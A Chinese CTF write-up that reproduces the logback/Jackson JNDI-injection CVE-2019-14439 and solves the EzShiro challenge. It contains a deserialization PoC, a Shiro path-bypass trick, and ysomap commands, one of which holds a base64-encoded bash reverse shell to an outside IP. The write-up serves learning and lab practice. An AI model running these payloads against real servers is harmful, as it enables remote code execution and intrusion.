CVE-2019-14439以及[NPUCTF2020]EzShiro复现

CVE-2019-14439

是由logback 引起的 jndi 注入,找不到详细分析的文章,对着网上的poc简单看了一下。

ch.qos.logback.core.db.JNDIConnectionSource这个类里

1640089832227.jpeg

1640080058330.jpeg

漏洞原理并不复杂,很清晰明了的jndi注入。

poc

package Jackson;


import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class logback {

    public static void main(String[] args) throws IOException, IOException {

				String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\"," +
                "{\"jndiLocation\":\"ldap://127.0.0.1:1089/Exploit\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(o);
    }

}

1640080727072.png

[NPUCTF2020]EzShiro

一开始没做出来,后来看wp知道附件有pom.xml buu似乎没给

<dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-web</artifactId>
      <version>1.5.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-spring</artifactId>
      <version>1.5.1</version>
    </dependency>
    <dependency>
      <groupId>ch.qos.logback</groupId>
      <artifactId>logback-core</artifactId>
      <version>1.2.1</version>
    </dependency>
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
  </dependencies>

看到有logback 先是shiro的权限绕过来到/json。访问/;/json

post一个true看到Jackson

1640089703761.png

jackson+logback 应该就是CVE-2019-14439了,源码应该是用jackson对post的json数据进行反序列化

但遇到个问题,我直接打没有打通,这里好像还需要绕限制。

看了看wp,参考的是这个。文章里有提到

https://paper.seebug.org/942/#ldapgadget

1640093819476.png

应该是题目jvm版本太高了。得加载题目自带的链子,看到pom里有commons-collections

wp里直接用ysomap工具了,还没在比赛里用过这个工具,顺带学一学。

https://github.com/wh1t3p1g/ysomap

use exploit LDAPLocalChainListener
set lport 6688
use payload  CommonsCollections8
use bullet TransformerBullet
set version 3
set command 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
run

使用这工具必须的是jdk8,并且jdk8版本不能过低

1640147973090.png

能弹成功,期末考完去研究一下工具源码

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值